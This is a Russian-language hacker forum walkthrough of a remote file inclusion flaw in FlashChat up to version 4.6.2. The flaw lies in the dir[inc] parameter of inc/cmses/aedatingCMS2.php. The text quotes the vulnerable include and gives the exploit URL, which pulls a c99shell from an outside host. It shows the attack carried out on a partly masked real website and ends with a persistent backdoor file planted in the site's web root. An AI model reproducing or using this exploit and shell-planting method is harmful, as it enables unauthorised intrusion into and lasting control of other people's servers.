<------------------------------------------------------------------------------------------->
Уязвимость существует из за прописанных двух инклудах в двух фчатовых файлах. Эти инклуды прописаны во
всех версиях фчатов вплоть до версии 4.6.2 Вот эти файлы подвержены уязвимости:
inc/cmses/aedatingCMS2.php
inc/cmses/aedating4CMS.php
Т.к. у меня на машине есть немало разных исходников всяких чатов, то конечно же у меня был и фчат. Открыв один из этих файлов, я увидел следующее:
PHP код:
$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]admin.inc.php" );
Эта часть в обоих файлах идентична. Инклуд можно проводить с любого файла. Вот мы и добрались до параметра
dir[inc]. Вот он, висит кросавчег ;-)
PHP код:
require_once( "$dir[inc]db.inc.php" );
Как раз он нам и поможет сделать всё что нам нужно. Пора приступать к активным действиям.
<------------------------------------------------------------------------------------------->
Внимание. Здесь будет сохранена полная конспирация подопытного сайта. Надеюсь зачем это сделано объяснять не надо.
Итак заходим на наш сайт:
http://www.f**.net
Смотрим о_О. Обычный развлекательный сайт. Форум, чат, всякая мурня. В общем как обычно:-) Для начала находим там чат, форма входа в сам чат висит по адресу:
http://www.f**.net/chat/
Лучше и не придумаешь;-) Т.к. уязвим файл
inc/cmses/aedatingCMS2.php
То мы заходим по адресу:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php
Нашему взору открываются Warning'и.
Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/forfreedomnet/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(): Failed opening '/home/f**/www/inc/header.inc.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(db.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15
Fatal error: main(): Failed opening required 'db.inc.php' (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15
Это нам и надо. На фатал не обращаем внимания, он нам не помешает. Теперь составим нужный нам запрос, для инклуда шелла. Запрос будет исходить от файла
inc/cmses/aedatingCMS2.php
Нам известно что узвим параметр
dir[inc].
Его мы и используем. Таков будет начальный запрос:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=
Теперь осталось только прописать ссылку на шелл. Вот наш с99shell:
http://slip-antichat.narod.ru/c99shell.txt
Итог таков:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=http://slip-antichat.narod.ru/c99shell.txt?
Всё, шелл получен. Инклуд успешно произведён. Но наверно он нам нужен в каком то более надёжном месте? Я тоже так думаю:-) Создаём php файл в дерриктории:
/home/f**/www/
Открывается небольшое поле, копируем туда весь код шелла, и сохраняем. Теперь наш шелл живёт по адресу:
http://www.f**.net/futura.php
Всё, мы закрепились на сайте уверенно;-) Теперь это будет F.a.q. по инклуду фчатов.
<------------------------------------------------------------------------------------------->
Отдельный thx Tem